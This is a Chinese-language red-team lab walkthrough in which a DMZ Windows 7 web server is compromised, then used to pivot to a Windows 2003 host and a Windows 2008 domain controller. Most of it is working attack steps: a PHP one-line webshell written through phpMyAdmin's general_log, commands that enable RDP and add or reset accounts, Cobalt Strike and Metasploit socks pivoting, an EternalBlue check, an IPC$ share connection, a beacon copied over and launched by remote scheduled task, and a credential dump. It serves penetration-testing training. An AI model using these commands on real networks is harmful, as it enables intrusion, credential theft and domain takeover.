一、红队靶场内网渗透
1.靶机工具下载
2.本实验网络拓扑图
3.内网渗透攻击流程
二、环境搭建
1.DMZ区win7
2.内网办公区
3.域控主机
三、开始攻击
1.DMZ区win7渗透
1.1信息收集:
1.2收集到的信息
1.3远程web网站的原理
总结:
2.内网办公区渗透(域内主机)
2.1 上线到CS
2.2MSF监听端口
2.3搭建socks隧道
总结:
3.域环境渗透(域控)
3.1域环境的概念
3.2确定域
3.4通过CS上线不出网机器
3.5建立 IPC进程间通信连接
3.6横向移动
总结:
链接:https://pan.baidu.com/s/1LgWAHK3XPp2Q9CG6QVdxuw
提取码:kiss
win7虚拟机登录密码:hongrisec@2019
本实验要实现内网渗透, 我们不能直接渗透内网服务器和内网办公区,因为网都不通。
我们可以通过DMZ区的计算机进行下手渗透,DMZ区的会和内网办公区有一定联系,DMZ区的计算机我们可以做为跳板,做隧道技术(DNS ICMP SOCKS HTTP SSH)连接到内网办公区,而办公区和服务器区有一定联系,这样我们进而就可以攻入内网。
DMZ区一台计算机win7
内网办公区一台计算机win2003
内网服务器一台计算机win2008
我们需要攻击机kali namp 蚁剑 等工具
信息收集:ip 域名 子域名 目录 CDN whois 语言 框架 邮箱 架构 结构
漏洞利用:常见:SQL XSS XXE CSRF rce 上传 中间件:spring struts fastjon 历史漏洞。。。
权限提升:权限提升至root管理员权限
权限维持:在目标上安装了一个后门,目的是保证自己的权限不会掉,一直控制住目标.
内网代理:搭建代理或者建立隧道,去探测访问处于内网中的机器.
内网收集:本机信息收集、域内信息收集、登录凭证窃取、存活主机探测、内网端口扫描。
内网漏洞:利用工具(MSF Nessus nmap)获取到主机的相关漏洞信息
横向移动:攻击者在内部网络获得访问权限,通过扫描,爆破,smb传递等技术扩大权限并在受危害的网络环境中移动的行为。
跨域攻击:常规渗透方法 (利用web漏洞跨域获取权限) 利用已知域散列值进行 哈希传递攻击 或 票据攻击
痕迹清理:清除系统日志,绕过日志,清除操作痕迹。
win7虚拟机
本虚拟机充当web服务器,需要双网卡,分别是192.168.52.143 和 192.168.111.128
Vm3 192.168.52.0 充当内网网段
Vm4 192.168.111.0 充当公网网段
打开win7虚拟机,设置,添加一个网卡,调成自定义,VMnet3和VMnet4.
win7虚拟机开机,打开网络适配,本地连接:第一张网卡
本地连接4:第二张网卡
打开phpstudy环境
win2k3,配置网络vm3,ip配成192.168.52.141
win7 ping一下 win2k3 可以ping通 证明环境没问题
攻击机kali 需要双网卡 vm4充当公网(192.168.111.xxx)
因为这样配置kali可以访问到DMZ中的win7,然后win7与内网有一定联系,可做进一步的渗透。
kali ping通win7 192.168.111.128 证明环境配置成功
win 2008 网卡 VM3(192.168.52.xxx)
ip配置成192.168.52.138
win7 ping win2008
win7用域用户GOD登录
ping god.org
net user /domain
如果使用stu1用户的话 查看域用户net user /domain是查不到的 需要在god用户下查看
目的:把这个电脑通过远程桌面控制下来。
1.ip 端口 目录 网站开发语言 whois 邮箱 手机 公司结构 子域名 。。。
知道ip地址:
1.扫描端口(namp)
扫出来一些端口
访问一下80端口
phpStudy 探针 在原先的phpinfo基础上做了一些变化。在开发过程中,我们常常需要服务器的各项配置,而“探针”就是就是用来探测配置的。
发现web服务(dirsearch 御剑。。。)
1.扫描目录
2.扫描后台
我们访问beifen.rar 把文件下载下来。
phpinfo.php页面
phpmyadmin页面
用phpmyadmin爆破工具 先把网站复制到txt文档里面。
用户名和密码均是root,进入页面
1.发现80端口是一个探针,好像也没办法利用。
2.发现web系统有一个beifen.rar文件
3.发现web系统有一个phpinfo页面
4.发现web系统有一个phpmyadmin页面(数据库管理界面)
1.需要向服务器的文件中写入木马(大马 小马 一句话木马 内存马 免杀马 等等。。)
2.<?php eval($_POST[1]); ?>
3.怎么写呢?sql注入 文件上传 框架漏洞。。。。 就是通过漏洞写进去的。
Phpmyadmin getshell 的技巧
phpMyAdmin 写 shell
general_log 默认关闭,开启它可以记录用户输入的每条命令,会把其保存在对应的日志文件中。可以尝试自定义日志文件,并向日志文件里面写入内容的话,那么就可以成功 getshell:
# 查看当前配置
SHOW VARIABLES LIKE 'general%';
在SQL里面执行语句:
日志在C:\phpStudy\MySQL\data\stu1.log目录下保存
# 更改日志文件位置
set global general_log = "ON";
set global general_log_file='C:/phpStudy/WWW/l.php';
我们的路径是phpstudy探针的路径,这样日志就写入到了探针路径,我们就可上传木马,进行攻击
# 往日志里面写入 payload
select '';
查看一下探针页面,底部发现:
蚁剑连接:
输入ip,连接密码是我们写的木马 1
打开虚拟终端,输入whoami 查看用户 ipconfig 查看ip
我们要远程登录桌面,所以要保证3389端口是开着的,命令如下:
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
net user 查看用户
远程连接192.168.111.128 发现需要密码
我们有两种方法:1.更改用户密码 2.添加一个新用户
net user administrator admin@123 #更改密码
net user administrator /active:yes #激活密码
net user username password /add #新建用户
出现这个页面,
发现在win7虚拟机上有远程连接验证
我们在蚁剑上关机重启电脑:
shutdown -r -t 0
在开机时远程连接 连接成功!!!
第一台靶机拿下,这里我们用到的是 信息收集 和 漏洞利用。
信息收集:通过ip扫到了开放端口,通过端口我们发现了phpmyadmin页面 phpstudy探针 。
漏洞利用:在phpmyadmin页面利用getshell写入一句话木马,用蚁剑进行连接,创建用户或更改密码进行远程桌面连接,拿下DMZ区的计算机。
我们想要进入内网,如果直接进入,是行不通的,网络都不在同一段中,所以,我们要利用win7作为跳板来进入域内主机win2003
本机ping win2003 肯定是ping不通的
蚁剑 win7 ping 通 win2k3 证明配置没问题
拿到webshell之后,一般会将机器上线到cs和msf(后渗透)
MSF是命令行 CS是MSF的图形化界面
MSF CS (因为这两个工具集成了一键提权 开代理 做隧道 扫描等等)
kali中添加一个网卡vm4(192.168.111.130)
kali ping win7(192.168.111.128)通 证明环境没问题
1.在kali中运行服务端 bash teamserver kali ip(192.168.111.130) 密码(123456)
2.运行客户端 bash cobaltstrike.sh
ip 是 kali的ip post是刚刚运行服务器端的端口9081 密码是123456
3.生产一个监听器
add添加 名字随意 端口写个不常见的就行。
木马连接到监听器上,监听器返回服务端,服务端的内容在此页面上。
4.生成木马
保存到桌面,起个名字
返回kali,成功上线
Session的sleep改为1,响应1秒
进入命令行
查看命令 shell whoami ipconfig
查看路由 shell route print
查看arp,内网地址ip 发现目标ip
ping192.168.52.141(win2k3) 肯定是ping通的
Spawn 发送到msf
发现meterpreter 攻击成功!!! 这样msf也渗透到了win7
右键Rivoting Socks server
设置端口34456(端口)
隧道开启成功
查看隧道信息
复制代码链接
setg Proxies socks4:192.168.111.130:34456
在msf中backgroud返回
设置msf隧道 通向192.168.111.130 端口是34456
现在我们msf就可以打内网了
查看win2k3是否存在永恒之蓝漏洞
序号3对应的是查看是否存在永恒之蓝漏洞
use 3 #使用序号3
show options #查看配置内容
set rhosts 192.168.52.141 #设置目标地址
run #运行
发现win 2003 存在永恒之蓝漏洞
我们利用 0 ms17_eternablue发现跑不起来 可能是系统太老了
查看 whoami
查看 ip地址 ipconfig
1.将域控的主机上线到CS和MSF
2.搭建socks代理
3.通过MSF连接代理控制内网2003的主机
win7计算机名称 和工作组 域
我用公司 学校来介绍理解 工作组 和 域
工作组:对电脑进行分组,方便管理员去管理。
比如一个公司有100个人(100台电脑)公司分出来好几个部门有 人事部 运维部 财务部 IT部等等
这样的话有什么弊端???
没有纪律性 没统一管理得机制。
比如小k在IT部门工作,可喜欢的小姐姐在人事部,明天小k直接去人事部工作。
经理让所有员工的电脑换成企业文化壁纸 不能有a软件,可小k不听 偏不换壁纸 偏就下a软件。
这样 域概念 就出现了
在域种加入网络管理员 (类似学生班主任):统一管理的作用(域控制器)
域内机:好比 员工(学生)
网络管理员在一台电脑上,让员工用什么壁纸就用什么壁纸,让有什么软件就有什么软件,让什么时候关机就什么时候关机,还有设置密码 统一管理等等。
高一1班(火箭班:域名)
班主任(领导人):域控
学生:域内机器
注意:一个电脑只能加入一个域。好比一个学生只能加入一个班级。
一个域里面可以有多个域控。好比一个班级不止有班主任一个老师。
非常重要
本地用户(土著人):就是在本地上的用户(账号和密码都存在本地的机器上)
域用户:就是加入域的用户(就是账号和密码存在域控上)一般是企业加域 个人家用不加域
找域控 怎么看有没有域
怎样加入域???
主机电脑 DNS首选 域服务器的ip 然后在计算机属性 填写要加入的域名 输入域服务器的账号密码 最后加入域。
域服务器可以添加用户 设置密码 从而可以登录到主机电脑。
win7DMZ主机
God\administrator 域控用户
Stu1\administrator 本地用户
在kali上shell whoami 查看用户为god,此时,我们也不知道他是不是域控用户,此刻,我们用
shell hostname 查看计算机名称 返回stu1 如果是本地用户,肯定是stu1\xxx,所以猜测god为域控用户。
或者,更为直接简单的方法 shell ipconfig/all 可以清楚看到主机名stu1 dns后缀为god.org
3.3域内信息收集
查询域控在哪里?
nslookup -type=SRV _ldap._tcp
查看到域控的ip 192.168.52.138 (win2008) 域控的名字owa 域名地址god.org
查询域种有多少用户
net user /domain
这些用户都是在域控上面的
查询域中有多少电脑
net group "domain computers" /domain
stu1是我们控制的电脑
查询域控名字
net group "Domain Controllers" /domain
OWA
生成一个监听器
生成木马文件
生成了木马(可以上线不出网的木马)
木马怎么传到域控上呢???
查看域控管理员的密码
IP和密码都是域控win2008的
shell net use \\192.168.52.138\ipc$ "GODl123" /user:god\administrator
shell net use #查看连接
现在已经和域控建立了一个连接,证明已经相互信任了,可以传文件了。
查看一下
把文件复制到域控电脑上
copy beacon.exe \\192.168.52.138\c$
创建一个远程计划任务
schtasks /create /s 192.168.52.138 /tn test /sc onstart /tr c:\beacon.exe /ru system /f
运行
schtasks /run /s 192.168.52.138 /i /tn "test"
连接
connect(link)目标ip 192.168.52.138
查看域控 whoami ipconfig
查看密码(因为我域控win2008和跳板win7设置密码是一样的)
命令查看 logonpasswords
降权 system降为administrator
shell schtasks /create /s 192.168.52.138 /tn test1 /sc onstart /tr c:\beacon.exe /ru administrator /f #创建 目标ip 文件名test 木马beacon.exe 用户administrator
shell schtasks /run /s 192.168.52.138 /i /tn "test1" #运行
connect(link) 192.168.52.138
其实cs集成了一键连接
域内一键连接域控主机
.138是域控
这样直接上线域控
域控主机控制域内主机
我们要上线win2k3 192.168.52.141
上线win2003成功
1.确定域用户和本地用户,域内进行信息收集。
2.通过CS上线不出网机器,生产木马,查看域密码,建立IPC通信连接。
3.横向移动,域控主机与域内主机的相互渗透。